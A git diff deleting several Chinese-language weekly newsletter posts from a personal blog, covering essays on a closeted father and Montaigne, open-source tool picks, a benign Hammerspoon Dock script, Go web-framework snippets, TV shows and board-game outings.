因为,你看,我的爸爸是个懦夫。妈妈在我只有十几岁的时候就开始要求离婚,我爸爸才是那个一直不同意的人。他会向丈母娘,一个恪守传统的人,抱怨这件事,来确保她会训斥她的女儿让她守规矩。他的家庭和文化容不下他,所以他把母亲当做盾牌,来保证他不会受到审视。慢慢地,我们找到了其他婚外情的证据,可以追溯到几十年前。 - -情人说,父亲大学时就知道他喜欢男人了,他在柜子里面藏了 **40 年**——作者写道,她想到这个数字都觉得有些幽闭恐惧症,只有 20 岁的我也无法想象这样活着是什么滋味。 - -> _he wasted his entire life_, my mom said to me, the evening we found the love letters. _his entire life, and mine as well._ -> -> “他浪费了他的整个人生”,我妈妈跟我说,就在我们找到情书的那天晚上,“他的整个人生,还有我的人生。” - -最终,他们找到了 14 起婚外情的证据,谁知道还有没有别的。要和父亲共度余生的情人是第 11 号。结果,父亲一直跟所有爱他的人隐瞒自己的真实生活——他的父母、兄弟姐妹、他的家庭,还有他的那个情人。 - ---- - -和现在的室友开始合租之前,他借给我一本漫画看,名字叫《暗流》,里面就有一个一声不吭就抛妻弃子离开的丈夫,漫画聚焦的就是这个妻子的故事。我忘记情节了,因为我没有很喜欢那本漫画,但室友很喜欢。我们在聊天的时候,室友说他展示在别人面前的自我可能只有不到 50%,甚至 80% 都是藏起来的,他还觉得大家都这样;他说漫画里的妻子并不了解他的丈夫,而且他并不觉得丈夫的举动有什么问题。 - -或许我不能谴责那些善于伪装和立人设的人,但我可以肯定他们活得没那么自在——明明过好一个人生就很累了。那部漫画里的妻子或许是不幸的,但她的确把自己的人生托付给了一个虚假的人,==他爱的从来不是那个丈夫,而是那个丈夫展现在她面前的一个假人,这的确是她自己要为选择而承担的代价;但在我看来,她是勇敢的,她没有通过**不诚**来逃避身而为人的选择。== - -这两篇文章的作者没有批评社会,没有批评那些传统且保守的人,她批评的是她的父亲: - -> because you see, my dad was a coward -> -> 因为,你看,我的爸爸是个**懦夫**。 - -#存在主义 #性少数 - -### 专业博客应该回归吗? - -> [!note] 📜 -> [Personal blogs are back, should niche blogs be next? – disassociated.com](https://disassociated.com/personal-blogs-back-niche-blogs-next/) - -作者观察到,最近有不少人选择重新开始写个人博客,以抵抗社交媒体。作者回忆起十多年前的 Web 生态和博客圈,除了不限话题、内容繁杂的个人博客,还有一类专注于特定话题、高质量、信息来源可靠的博客,被称作 niche blog(下文称作「专业博客」)。这类博客质量很高,而且能作为可靠的信息来源,能在不牺牲读者体验的情况下盈利(和那种还没来得及开始读就弹出窗口请读者订阅 Newsletter 的博客不算)。作者举例说 Problogger 就是这样一个网站,从 2004 就有了,是一个教人怎么写博客的专业博客;评论区还有人自荐 [ResearchBuzz](https://researchbuzz.me/) 这个网站,从 1998 年到现在一直在坚持更新数据库、搜索引擎和在线信息集合相关的内容。 - -作者好奇,既然个人博客回归了,那这类专业博客是不是也应该回归?我们似乎没有别的选择:难道要从遍布社交媒体的错误信息里面找答案吗?难道要忍受在搜索引擎里查询内容时 AI 生成的总结吗?难道 Web 只能被 AI 生成的垃圾填满吗?在这样的背景下,我们可能比以往更需要专业博客,作为可靠的信息来源。 - -作者认为个人网站的东山再起是重建一个兴盛的 Web 的第一步,接下来人们应该关注如何重建那些向所有人开放的、可信的信息源。 - ---- - -我知道一个叫做 [Wait but Why](https://waitbutwhy.com/) 的博客,或许算不上严格意义的「专注某一话题」的专业博客,但这个博客的确比较出类拔萃,作者在某一篇文章里还称「自己已经把 Wait but Why 作为自己的事业了」(不过最近的更新评论、热度和质量似乎有略微的下滑)。在国外,人们或许更愿意为这样具有特色、有深度,同时也具有个人色彩的内容付费,国内就不好说了。 - -无论如何,在短视频横行霸道、社交媒体把互联网变得越来越极端、大语言模型让人们逐渐放弃思考的当下,专注写高质量的博客内容,对作者、读者和 Web 环境来说都有极大的好处。 - -#互联网文化 #写作 - -### 蒙田的认知论 - -> [!note] 📜 -> [Montaigne's Epistemology \| Jenneral HQ](https://www.jenn.site/montaignes-epistemology/) - -作者阅读了 16 世纪法国作家 Michel de Montaigne(米歇尔·德·蒙田)的随笔,产生了一些感想。这个人以《随笔集》(Essais)这一作品名留后事,基本上**发明**了随笔(Essay)这一写作形式[^3]。作者在他的一些文章中读到了有趣的观点,并分享了出来。 - -其中我认为最有意思的是这一条: - -> Callicles 在《柏拉图》中说:极端情况下,哲学是有害的。他建议我们,超过了有益的界限之后,就不要再深入:适度的摄取哲学是愉悦且有用的,但最终可能会导致人的邪恶和野蛮,轻蔑宗教和现有法律,成为社会交流的敌人,人类愉悦的敌人,对统治城市、帮助人他人,甚至帮助他自己都毫无用处——对于这种人,你可以毫无顾忌地扇他耳光。 - -这和互联网俚语「touch grass」有相似之处,这个俚语的意思是:别宅在家里玩网了,出去摸摸草,接触真实的世界吧。 - -其次是这条: - -> 我喜欢强烈、亲密、有男子气概的友谊,那种在**锋锐且剧烈的交流**中获得喜悦的友谊,就像爱情在见血的撕咬和抓挠中获得欢愉一样。 - -作者自认为是幸运的,因为他生活在一个已经被蒙田的作品改变过的世界里。他打下了基石,使得活在现代的他可以无需解释为什么人们应该欢迎反对意见、欢迎被证明是错的,就和朋友展开有趣的讨论——我真希望我也能说同样的话,至少我现在还没有找到太多在我提出反对意见时,不会被情绪劫持、不会逃避争执、愿意承认自己被说服的人。 - -#认知 - - -## ⁂ · 星群 - -### Fran Sans Essay - -作者发现旧金山轻轨上显示目的地的显示屏别具一格,他研究并模仿了这种显示屏显示字母的方式,把它们做成了一款字体。 - - - -访问:[Fran Sans Essay — Emily Sneddon](https://emilysneddon.com/fran-sans-essay) - -### Penpot - -开源版的 Figma。 - -访问:[GitHub - penpot/penpot: Penpot: The open-source design tool for design and code collaboration](https://github.com/penpot/penpot) - -### Hammerspoon - -一个允许用户编写 Lua 脚本控制 macOS 系统,以实现强大自动化的 App,开源免费,非常黑客。我发现这个 App 是因为最近改变了自己使用设备的逻辑。以前我出门会用 MacBook,在家就用桌面上的 Mac mini,但我逐渐发现在两台电脑之间同步数据非常痛苦,时常忘记 `git pull`,一些软件的配置项更难同步,再加上两台电脑上装的软件不一样,维护一个整洁的 `$HOME` 目录就已经很要命了,如果用同样的态度处理两台电脑,我大概会在扯不开的毛线堆里疯掉的。所以,现在我的思路是,需要敲代码和写文是,就用 MacBook,在家的话可以连接外界显示屏;而 Mac mini 就作为一台长期开机的 Home Server,同时起到娱乐功能(看剧,以及…… 用 Mac 打游戏)。 - -这样区分之后,MacBook 就经常需要连接外接显示器。在较小的屏幕上,我需要 Dock 栏自动隐藏,并且显示在最底部;但是在较大的外界显示屏上,Dock 栏最好是一直显示,而且放在左边会更好。然而,macOS 没有提供分显示器的 Dock 栏设置,于是我只能通过 Hammerspoon 这样的脚本工具来监听外接设备连接情况,然后自动更改设置。 - -因为只是想临时解决一个小需求,我就没有去看 Hammerspoon 的文档,而是让 ChatGPT 帮我写了一个脚本。如果以后有更黑客的需求,我大概会去读一下 Hammerspoon 提供的 API。 - -```lua --- 自动检测屏幕变化并调整 Dock 行为 -local function updateDockPosition() - local screens = hs.screen.allScreens() - local dockPos = "bottom" - local autoHide = true - local foundExternal = false - - -- 查找名为 "P5" 的外接屏 - for _, s in ipairs(screens) do - if s:name() == "P5" then - foundExternal = true - break - end - end - - if foundExternal then - -- 外接屏存在:Dock 左侧 + 不自动隐藏 - dockPos = "left" - autoHide = false - else - -- 无外接屏:Dock 底部 + 自动隐藏 - dockPos = "bottom" - autoHide = true - end - - -- 设置 Dock 位置 & 自动隐藏 - local cmd = string.format( - 'defaults write com.apple.dock orientation %s; ' .. - 'defaults write com.apple.dock autohide -bool %s; ' .. - 'killall Dock', - dockPos, - autoHide and "true" or "false" - ) - - hs.execute(cmd) -end - --- 监听屏幕改变事件 -local screenWatcher = hs.screen.watcher.new(updateDockPosition) -screenWatcher:start() - --- Hammerspoon 启动时执行一次 -updateDockPosition() -``` - -访问:[Hammerspoon](http://www.hammerspoon.org/) - -## ◍ · 穿越 - -> [!announcement] 🎉 -> 恭喜你发现了新栏目。 - -前两期周刊都有在「↯ · 当下」这个栏目里介绍「这周看了什么」,既然每周都想写,那不如就单独拿出的做一个栏目,这一周看的剧、音乐剧、电影之类的都会放在这里——当然也可能没有。 - -### 怪奇物语 第五季(上半季) - -早早地就在日历上标注了 11 月 27 日开播的时间,但直到 28 日晚上我才想起来,于是踩着 11 月的尾巴把《怪奇物语》第五季的前四集看完了。这次的播出方式是 11 月底放出前半季,圣诞节放出第 5、6、7 集,在跨年的时间放出最终集——也就是说观众还要等一个月才能看到后续的剧情,~~混蛋啊!~~ - -第五集每一集都接近一个小时,而且,由于前四季积累起来了太多的人物线和故事线,在这一季里所有的人物都分成小组行动、探寻真相,人物有各自的支线任务和信息差,即使是这样剧情也没有乱成一坨毛线,推进得很紧凑,观感很好,总之是非常精彩的一季。 - -不过,第四集被绑起来的 Derek 一家人还被关在谷仓里啊!你们都不管了吗!为什么我要等一个月才能知道他们到底要怎么给这一票绑架收场啊! - -### 同乐者 - -《同乐者》第五集的推进还算有趣,这里讲一个小点:在第五集的最后,Carol 发现了同乐者们一直在饮用的褐黄色液体的原材料,露出了震惊的表情,很多观众都在猜测 Carol 看到的是什么。 - -{{< gallery >}} - - -{{</ gallery >}} - -一般人看到有人露出这种震惊的表情,应该都会猜测袋子下面是人肉吧。在这一集前面,有一段情节是 Carol 到牛奶工厂(实际上是生产这种褐黄色液体的工厂),看到有一群乌鸦在啄袋子,而乌鸦就是食腐动物;在前面还有郊狼刨坟的情节,虽然没有直接关联,但应该是一种暗示。有人指出褐黄色液体应该是「血粉蛋白胨」,颜色一致。同乐者在同化人类的时候因为意外,死掉了很多人,而 Carol 因为发脾气也让同乐者失控过,死掉了两批人;第二集的开头,有牛奶公司的卡车运输尸体的情节——所以基本可以肯定,同乐者一直在饮用死掉的人类同胞的尸体制成的液体。 - -## ↯ · 当下 - -### 开发 Growel - -继 [wthis](https://github.com/BigCoke233/wthis) 这个命令行工具之后,我开始探索 Go 语言的 Web 开发能力,开启了 [growel](https://github.com/BigCoke233/growel) 这个项目的开发。Growel 的定位是用于构建轻量级 Web 后端的框架,只通过 JSON 进行数据交换而不使用模板语言,可以快速开发 API。目前大概是做出来了一个可以这么用的东西: - -```go -api := growel.New() - -api.GET("/hello", func(c *growel.Context) { - c.JSON(200, map[string]string{ - "message": "Hello, Growel!" - }) -}) - -api.GET("/user/", func(c *growel.Context) { - c.JSON(200, Users) -}) - -api.GET("/user/:uid", func(c *growel.Context) { - uid, err := strconv.Atoi(c.Params["uid"]) - if err != nil { - c.BadRequest("Invalid user ID") - return - } - - for _, user := range Users { - if user.ID == uid { - c.JSON(200, user) - return - } - } - - c.NotFound("User not found") -}) - -api.Start() -``` - -~~谁敢想用 Java 写这样的东西会会写几个 Controller 类和 Service 类。~~ - -其实 Go 标准库提供的 HTTP 相关的方法就已经很好用了,而且 JSON 解析也非常丝滑,所以做一个 Web 框架非常简单,只需要封装一些方法、添加合适且必要的抽象层,让 Web 开发体验变得更丝滑就好了。 - -开发 Growel 的时候我才意识到,自己在学校里学了快一年的 Java Web 开发,一直在用 Spring 框架,连 Web 程序是怎么启动的都不知道,完全被 Java 生态系统里无处不在的「魔法」变成麻瓜了。虽然 Go 的 Web 框架已经足够多了,但重复造轮子其实是很好的**学习方式**,手写 Router、封装 `http.ResponseWriter` 和 `http.Request`、自己实现动态路由都让我学到了不少。 - -### 博客的内容分区变动 - -把原先的「议叙」(`post`)拆成了两部分:议论和散文。 - -1. 议论 / 结构 - * 相对严谨,注重逻辑,一般来说会考究事实 - * 对我而言,是我的理论框架、认知武器构建的地方,用来把知识和思维方式结构化 - * 思维会跟着时间进化,能在时间轴上看到我的思想变更的过程 -2. 散文 / 倾泻 - * 主观,重感受 - * 记录我在当下做了什么事情、我的生活发生了什么改变、我感受到东西是什么 - * 这里的记录会更加和时间绑定,能帮我回顾「某年某月某日我在做什么」 - -你也可以理解为,我把文章分成了 T 和 F 两部分(仔细想想,其实更像是 J 和 P 的两部分,判断和感知的区分)。做这个拆分是因为,我发现自己的 T 和 F 可能会在某个时间段宕机其中一个,把这个分开能让我更安心地~~在情绪崩溃时发疯、在好奇心超负荷运转时写一写没人关心的新话题~~。 - -迁移到「议论集」分区的文章,URL 会从 `/posts/*` 变成 `/essays/*`,但都有做重定向,原先的链接还是能够访问,原先的 `posts` 变成「散文集」,URL 不变。 - -### 忙碌的城市里没人能好好走路 - -周日从学校回家时心情很差,于是步行去家附近的零食店。倒不是有多想吃东西,只是想顺便找个理由逛逛。作为处女座特质很强的人,在物资充足、商品整齐排列的地方待着怎么会心情不好呢?只不过,这一路上可不好走,路边的建筑工地一直在喷水降尘,大概是因为刚好在下风向,我必须穿过混杂着化工气味的水雾,而且这条路没有分出人行道和骑行道,摩托车电瓶车在这个时间点又开得飞快。不过,就算有专门的骑行道用处也不大,走到一条商铺比较多的街区时,到处都是外卖骑手在穿梭。 - - - -我很喜欢步行,去一个地方的时候只要能在 30 分钟内走到,我都会步行。我主要是喜欢走路时放空脑袋或者听听音乐、博客的感觉,走在路上的时候不需要在意任何事情;另一个附加的好处是可以锻炼身体,我走路比一般人快很多,尽管也达不到高效的锻炼效果,但每天走三四公里的路的确能消耗很多热量(以至于我在放假不需要步行时,都会悄悄地发胖)。 - -只不过,在这样一个大家都在赶路的城市时,这种愉悦也是奢求了。那天晚上回到家之后我心情很差,因为路上一直在避让该死的电瓶车和摩托车,没有办法匀速走动,让我本来就混乱的思绪都绞在了一起。我想不明白,即使是在公园里,为什么也会有摩托车在跑步道上开。 - -[^1]: 原文是「go exclusive」,这个词的意思是「排他的」「独有的」,比起中文的「在一起」,更有忠诚和契约的意味。 - -[^2]: 如果读到这里你还没懂的话,是的,文中的父亲是深柜同性恋者。 - -[^3]: 需要补充的是,在英文中 Essay 一词的定义比较模糊,一般是指给出作者本人观点的写作形式,属于短小的议论文,而 Essay 本身还有正式与非正式之分。中文里的「随笔」属于**较**为贴切的译名。 diff --git a/content/posts/weekly/58.md b/content/posts/weekly/58.md deleted file mode 100644 index 4840d503..00000000 --- a/content/posts/weekly/58.md +++ /dev/null @@ -1,162 +0,0 @@ -+++ -title = "稻草人周刊 Vol.58" -subtitle = "我们在大量的 Java 代码里发现了少量的逻辑" -tags = [ - "教育", - "开源", - "编程", - "游戏", - "效率", -] -date = 2025-12-08 10:59:00 -categories = "稻草人周刊" -draft = false -toc = true -+++ -{{< music cover="https://r2.eltr.ac/uPic/2025/12/ab67616d0000b27319f3df3565e048e6d1afc469.jpeg" title="Time is a Place (Piano Version)" artist="Kan Gao" apple="https://music.apple.com/cn/album/time-is-a-place-piano-version/1510014377?i=1510014459" spotify="https://open.spotify.com/track/5QsG0xEWblqZV1hNY8wzC5?si=9da34c21a43e4157" >}} - -去月球系列游戏《Finding Paradise》的原声带,听完之后总感觉能把我身体里让我感到不舒服的东西都安抚下来。 - -<!--more--> - -## ⋈︎ · 连接 - -这周我什么也没读!为了在坦诚的同时不显得太没诚意,这期周刊其他的内容还算丰富,希望你能找到有意思的东西。本周我还发布了一篇文章,谈了谈自己写周刊的感悟,如果你感兴趣,或者也想尝试一下这种写作形式,可以阅读《[不做信息的消费者,从写周刊开始](/essays/why-blog-weekly/)》。 - -## ⁂ · 星群 - -### MIT OpenCourseWare - -这周准备开始复习离散数学,在 Bilibili 找教学视频的时候意外发现了一套来自麻省理工学院的课程,标题是《Mathematics For Computer Science》,点进去听了第一节课就有大脑被击穿的感觉,讲得太通透了,这几乎是我第一次全神贯注地听完了一节 45 分钟的课。Tom Leighton 教授的知识功底和教学素养令人赞叹,举例和讲解涉及到的不止数学和计算机,甚至还有社会学和哲学,语流很自然,不会强迫学生互动,只注重自己的教学,但也会给发言者很真诚的反馈。还没有被投影仪、PPT 和位置签到*强奸*的大学课堂原来是这样的。 - -可惜的是,这套课程和我要复习的内容不太对得上(尽管我觉得这套课程要实用不少),只能当作日常娱乐的一部分了,听完一节课真的会嘴角上扬。我还根据视频开头的信息找到了 MIT 公开的教学资源网站,在里面可以搜到各种课程的讲义、试卷、作业资料,一些课程有视频可看。这些内容都是公开的,无需注册,可以找到不少有意思的课程。 - -访问:[MIT OpenCourseWare](https://ocw.mit.edu/courses/6-042j-mathematics-for-computer-science-fall-2010/) - -### Ghostty - -我之前在[第 42 期周刊](/posts/weekly/42/)里分享了 Ghostty 这个跨平台且开源的终端模拟器,这几个月用下来我感觉很顺畅,是很不错的软件。这周三,[Mitchell Hashimoto](https://mitchellh.com/) 在他的博客上宣布 Ghostty 现在成为了非盈利(Non-Profit)软件。尽管 Ghostty 一直是开源免费的,但在美国的法律上,被认可的非盈利组织可以收取减税或免税的捐赠,这无疑是一件好事,对于本身就很难收到捐赠的开源软件来说更是好事。Ghostty 现在被 Hack Club 赞助,这也意味着捐赠者的钱不会到开发者本人的钱包里,而是被一个组织管理用于维持开源软件的持续开发和维护。 - -访问:[Ghostty Is Now Non-Profit – Mitchell Hashimoto](https://mitchellh.com/writing/ghostty-non-profit) - -### Bun - -Ghostty 被认可为非盈利软件,而另一边,新兴的 JavaScript 运行时和开发工具 Bun 在周二发文宣布他们被 Anthropic 收购了。Anthropic 把 Bun 当作驱动 Claude Code 和未来 AI 代码产品的基础设施。这大概也算是好事,因为 Bun 仍然是开源的,并且保留 MIT 协议,被收购之后,Bun 的维护和发布或许还会更加频繁。 - -更重要的是,JavaScript 开发者们大概是不需要担心 Bun 作为开源软件会因为资金问题而无人维护了。我想起我在[第 55 期周刊](/posts/weekly/55/)分享的开源软件 ffmpeg 和 Google 的矛盾,要是 ffmpeg 也有 Ghostty 和 Bun 这样幸运就好了,ffmpeg 作为接近底层的基础设施,反而更容易被忽略。 - -访问:[Bun is joining Anthropic \| Bun Blog](https://bun.com/blog/bun-joins-anthropic) - -### try - -一个用 Ruby 编写的命令行工具,提供了一套不错的临时文件夹的管理方案。这个软件的使用场景是,对于那些经常在本地新建文件夹测试新技术、新工具、把玩软件的人来说,这些文件夹可能散乱得到处都是,很容易找不到之前写好的代码了(尤其是在凌晨两点头脑不清醒的时候,更不容易记得自己把文件放在哪了)。 - -`try` 提供了一个集中、统一的实验目录管理工具,可以自动标注日期,能很方便地进行检索。 - - - -访问:[GitHub - tobi/try: fresh directories for every vibe](https://github.com/tobi/try) - -### Slop Evader - -一个有些激进但非常实用的浏览器插件,支持 Chrome 和 Firefox,它会让搜索引擎只显示 2020 年 11 月 30 日前收录的内容。这个日期是 ChatGPT 公开发布前的日期,只显示这个时间之前的内容能够完美规避所有 AI 生成的垃圾内容。 - -访问:[Slop Evader - Tega Brain](https://tegabrain.com/Slop-Evader) - -## ◍ · 穿越 - -### 《大楼里只有谋杀》 - -算是悬疑喜剧的类型,不是最近的新剧,已经有三季的剧情了。原名是 Only Murders in the Building,实际上是双关——在第一集,主角团在录制播客的时候,Oliver 提起另一起谋杀案,说他们可以双管齐下一起调查,但 Charles 表示反对,说了一句:No, only murders in the building(只有大楼里的谋杀)。于是这句话就成了他们的播客题目。 - -我很喜欢谋杀、推理和悬疑类的作品,即便为了制造悬念和反转,一些剧情会显得有些牵强,但无论如何,悬疑作品都很适合放松时不带脑子观看。 - -### Matt Rife: Unwrapped - -Matt Rife 是我最喜欢的脱口秀演员之一。《Unwrapped》是他今年的圣诞节专场,这场几乎没有提前写好稿的抛梗,大部分都是和观众的互动,感觉在现场看的话参与感会很强。不过 Matt Rife 的笑话都比较 Edgy,基本不会避讳种族、性别和性玩笑,所以不是所有人都能接受的。 - -虽然我已经看完了,但我觉得可以收藏到春晚的时候再看一遍。 - -## ↯ · 当下 - -### 在网站上查看 Telegram 频道 - -如果你不使用 Telegram,查看我的频道[大脑充血](http://t.me/geedeapro)可能有些困难。尽管 Telegram 本身也提供频道预览,但需要额外点击,而且我想不会有人专门点开预览模式看一个人的频道的吧。 - -发现 [pseudoyu 的频道](https://daily.pseudoyu.com/)之后,我用相同的 [BroadcastChannel](https://github.com/ccbikai/BroadcastChannel) 也搭建了一个小型的博客,支持 RSS 订阅,欢迎访问[网页版的大脑充血](https://channel.geedea.pro/)。我会在这里分享不成文的想法、见闻还有一些生活琐事。 - -### 我们在大量的 Java 代码里发现了少量的逻辑 - -这周因为要赶课程项目的截止时间,所以花了很多时间写 Java 代码。虽然项目体量不大,但在兼顾前后端的同时还要用自己不喜欢的技术栈开发,实在是很耗费精力。星期四的下午我真的感觉自己被这门语言强奸了,后来我选择订阅了 Trae,一个 AI IDE,让它完成了收尾工作(其实也不算收尾,因为用 LLM 写的话,我还要帮它收尾)。 - -用 Spring 框架做开发的大部分时间我都在创建各种实体类、Mapper 接口、相关的 SQL 注解、Service 类和 Controller 类,我知道 MVC 架构在某种程度上是最佳实践,但我实在不理解创建这么多可以用程序自动生成的模板有什么用,而且管理这么多的文件和深层的目录结构真的很耗费精力,调试的时候要从各种耦合的模块里找问题。项目的选题是定死的,本质上来讲,除了做若干个实体的增删改查之外再无别的。这种毫无创造性、全是模板代码的开发体验带来不了丝毫的成就感,我想这才是我感到精疲力尽的原因。 - -顺带一提,这周也有在继续开发 [growel](https://github.com/BigCoke233/growel),一个用 Go 编写的 Web 框架,拿来练手,这周主要支持了 Cookies、表单、JSON Body 和路由嵌套。目前可以这样用: - -```go -e.Group("/api", func(api *growel.Group) { - api.Group("/user", func(user *growel.Group) { - user.GET("/", func(c *growel.Context) { - c.JSON(200, Users) - }) - - user.GET("/:uid", func(c *growel.Context) { - uid, err := strconv.Atoi(c.Params["uid"]) - if err != nil { - c.BadRequest("Invalid user ID") - return - } - - for _, user := range Users { - if user.ID == uid { - c.JSON(200, user) - return - } - } - - c.NotFound("User not found") - }) - }) -}) -``` - -继续开发的[路线图](https://github.com/BigCoke233/growel?tab=readme-ov-file#roadmap)在 README 里有写,我打算慢慢做。我最近发现,个人项目可能更需要「细水长流」,每周能推进的量不重要,但有一直做下去就好。 - -### 去了一次桌游店 - -三个人的局,室友是为了和 crush 相处才赴约的,我倒也不是去承担什么僚机的角色,只是纯粹想出去走走,而且也好久没玩桌游了。 - -第一个桌游叫《骰子小镇 2》,卡牌构筑的玩法,花费金币建造建筑,每轮行动时玩家要掷骰子,骰子的点数可以触发建筑的效果,效果大部分是产生金币、从其他玩家那里拿取金币。游戏胜利的条件是建造三个昂贵的地标建筑,先建造完地标的玩家获胜。整理而言是比较轻松愉快的游戏,竞争元素不大,刚入门的桌游玩家也能玩得很开心。 - - - -第二个游戏我记不清名字了,包装盒上写的好像是 Survive the island 之类的。每个玩家选择一个颜色的小人,轮流把它们摆放在岛屿上,游戏的目的是从岛屿上救回尽可能多的小人到岸上,同时也可以阻止其他玩家救援。每个小人有不同的分数,开始前可以记忆自己把高分的小人放到了哪里,但是游戏正式开始之后就不行了。每轮玩家行动时有三个操作:一、分配三次步数,移动小人或船只,同时可以使用技能卡;二、拆掉一个沿海地块模拟岛屿沉没的过程,拆掉的地砖可能会生成怪物、船只,也可能成为技能卡收入囊中;三、投掷一次怪物骰子,移动对应颜色的海怪,可以将怪物放得离自己的小人远一点,也可以去陷害别人。这应该是三个里面我最喜欢的游戏。 - -{{< gallery >}} - - -{{</ gallery >}} - -最后一个是花砖物语(原名 Azul,BoardGameGeek 上有[这个游戏的页面](https://duckduckgo.com/?q=boardgame+azul&ia=web)),玩法和记分规则都有些复杂,玩了一轮之后才搞懂,这里就不赘述了。大概得玩法是每个人轮流按照规则拿取砖块,场上的砖块拿完之后开始放置砖块并计分,根据临近的砖块数量和摆放方式,分数会有所不同,有一位玩家放满了一行游戏就结束了——不过我们搞错了规则,几乎是每个人都要放满了才结束的。其实是很有意思的玩法设计,多玩几轮之后大概就能体会到爽点了。 - -{{< gallery >}} - - - - -{{</ gallery >}} - -另外,我见识到了室友在心上人面前的奇怪的新版本,挺神奇的,当晚还被迫跟着他护送女生回家,我在后面看着他努力的样子还挺无奈的。 - -### 我的手机里空无一物 - -本来想换一个手机壁纸,打开设置界面的时候觉得选图太麻烦了,仔细一下自己很少有正事需要在手机上完成,不需要用好看的壁纸来提供情绪价值,于是我直接改成了黑色背景,顺便调整了主屏幕的布局,把不得不用的微信、钉钉之类的应用收进 Dock 栏的一个文件夹里,播客、音乐、RSS 阅读器等自己想看的信息源放进另一个文件夹,主屏幕上最显眼的位置放上当天的屏幕使用时间统计、一些健康和运动相关的 App 以及必要的记账、日历、备忘录等工具。图表也顺带调成了透明的玻璃样式,失去色彩之后,应用图标也就失去了一定的吸引力。 - -{{< gallery >}} - - - - -{{</ gallery >}} - -下午锻炼的时候换了衣服,顺带把手机放在了卧室里,结果一直到晚上才想起来,看来跟手机戒断得还算不错。 diff --git a/content/posts/weekly/59.md b/content/posts/weekly/59.md deleted file mode 100644 index f7bcf422..00000000 --- a/content/posts/weekly/59.md +++ /dev/null @@ -1,166 +0,0 @@ -+++ -title = "稻草人周刊 Vol.59" -subtitle = "ChatGPT 的 Mac 端应用" -tags = [ - "软件", - "设计", - "游戏", - "生活", -] -date = 2025-12-15 10:07:00 -categories = "稻草人周刊" -draft = false -toc = true -+++ -{{< music cover="https://r2.eltr.ac/uPic/2025/12/ab67616d0000b273578472d6afc733f5fdf7d88e.jpeg" title="Bad News" artist="Chris James" apple="https://music.apple.com/cn/album/bad-news/1851201824?i=1851201828&l=en-GB" spotify="https://open.spotify.com/track/2gapZZiQc8CjUniINUtBKB" netease="https://music.163.com/#/song?id=2720918464" >}} - -<!--more--> - -## ⋈︎ · 连接 - -### ChatGPT 的 Mac 端应用 - -> [!note] 📜 -> [Why is ChatGPT for Mac So Good?](https://allenpike.com/2025/why-is-chatgpt-so-good-claude) - -> [!note] 📜 -> [Why is ChatGPT for Mac So... Bad?](https://allenpike.com/2025/why-is-the-chatgpt-app-bad) - -作者对比了 ChatGPT、Claude 和 Copilot 的桌面端应用,认为 ChatGPT for Mac 的表现是最为突出的。首先,ChatGPT for Mac 是原生应用,意思是说,这个应用是直接用对应平台的 API 开发的(比如苹果的 SwiftUI),这样的应用往往性能更好、对平台的适配度也最好,但相应地,开发成本也更高。相比之下,Claude 和 Copilot 的桌面端应用都是网页套壳,本质上是 Web 应用(Claude 用的是无处不在的 Electron,而 Copilot 是一个只加载`m365.cloud.microsoft` 的 Edge 浏览器构建),作者把 Claude.app 称作「带有窗口控制的网站」。其他的 LLM 似乎都没有官方的客户端,大部分 AI 公司并不在乎桌面端,更关注企业用户和移动端开发。 - -原生应用不代表好应用,使用 Electron 等跨平台方案也不代表一定做得不好。作者认为,ChatGPT for Mac 之所以比 Claude 和 Copliot 更好,原因是背后的决策者和开发团队真的**在乎**软件产品的质量: - -> At the end of the day, the ChatGPT app for Mac is good because they **care**. - -文章发布之后,有不少人发表了反对意见,他们觉得 ChatGPT for Mac 一点也不好,有很多 Bug,比如使用快捷键复制不起作用: - -> Many folks have been having problems with ⌘C not copying text. - -我也遇到过!我还以为是自己的问题,原来 ChatGPT Mac 端应用的复制粘贴真的有 Bug。不过还好这个问题已经被修复了。 - -ChatGPT 的 Mac 端应用能看得出来是有用心打磨的,比如 `⌥ Space` 快捷键打开临时的聊天浮窗,可以快速和 GPT 对话;ChatGPT 还可以直接与终端、备忘录等 Mac 应用进行交互,不过我没有用过这个功能,不知道效果如何。 - -## ⁂ · 星群 - -### Consent-O-Matic - -很多网站要收集并处理用户数据前,会弹出 Cookies 窗口请求同意。这些窗口可能会很烦人,而且有的人会把浏览器设置为关闭浏览器之后自动清除 Cookies,那么这些窗口就会更频繁地弹出。Consent-O-Matic 解决了这个问题,你可以在安装这个浏览器插件时提前设置好偏好,之后 Consent-O-Matic 就会自动帮你填写 Cookies 弹窗。默认情况下,Consent-O-Matic 会拦截所有追踪请求,搭配 uBlock Origin 效果更佳。 - -访问:[GitHub - cavi-au/Consent-O-Matic](https://github.com/cavi-au/Consent-O-Matic) - -### BlogQuest - -一个支持 Firefox 和 Chrome 的浏览器插件,在互联网上冲浪的时候会自动帮忙收集你路过的站点的 RSS 源,似乎各种犄角旮旯的 Feed 都能翻出来,会统一保存起来。我尝尝在逛过有趣的站点之后才想起来考虑要不要添加到 RSS 阅读器里,如果记不住名字的话,翻历史记录又很麻烦,这个插件算是解决了这个问题。 - -{{< gallery >}} - - -{{</ gallery >}} - -访问:[GitHub - robalexdev/blog-quest: Collect RSS feeds as you browse](https://github.com/robalexdev/blog-quest) - -## ↯ · 当下 - -### 向稻草人周刊投稿 - -如果你发现了有趣的内容,认为很适合放在周刊里,现在可以通过 GitHub Issues 向稻草人周刊投稿!可以是推荐一读的文章,让人觉得有启发的视频和播客内容,或者是实用的软件工具。如果你有想要投稿的内容,可以点击[这个链接](https://github.com/BigCoke233/geek-death-project/issues/new?template=%E6%8A%95%E7%A8%BF%E6%A8%A1%E6%9D%BF.md)。 - -不过,这并不代表稻草人周刊会变味。比起投稿,这其实更像是「推荐」,要不要放到周刊里还是由我来决定。之前有不少读者在留言时会提及一些我读完觉得很有启发的文章,我想不妨增设一个渠道,兴许能收到更多思想的碰撞。 - -### 又去了桌游店 - -[上周](/posts/weekly/58/#去了一次桌游店)和室友去了桌游店玩,这周四准备去玩剧本杀没拼到车的我们又去了一家桌游店,从下午三点玩到晚上十一点,接近八个小时——桌游果然是 Nerd 属性很高的娱乐形式呢。 - -和二次元出去玩桌游就会变成这样: - - - -这个游戏应该是叫《王冠之心》,属于卡牌构筑类型的游戏,每轮打出的手牌上除了特殊效果,还有金币和分数,可以用于当前回合购买物品和记分。金币和分数都不可以沿用到下个回合,所以要构筑较好的牌组以增加自己获得金币和分数的概率。某一轮打出价值 6 元的卡牌之后,就可以选择拥护公主(果然是个二次元游戏吧!),公主能为玩家带来持续的增益效果,还可以保留领地牌,而领地牌都有金币点数,相当于每轮多了保底的金币。游戏的胜利条件是获得 20 分。 - - - -CABO 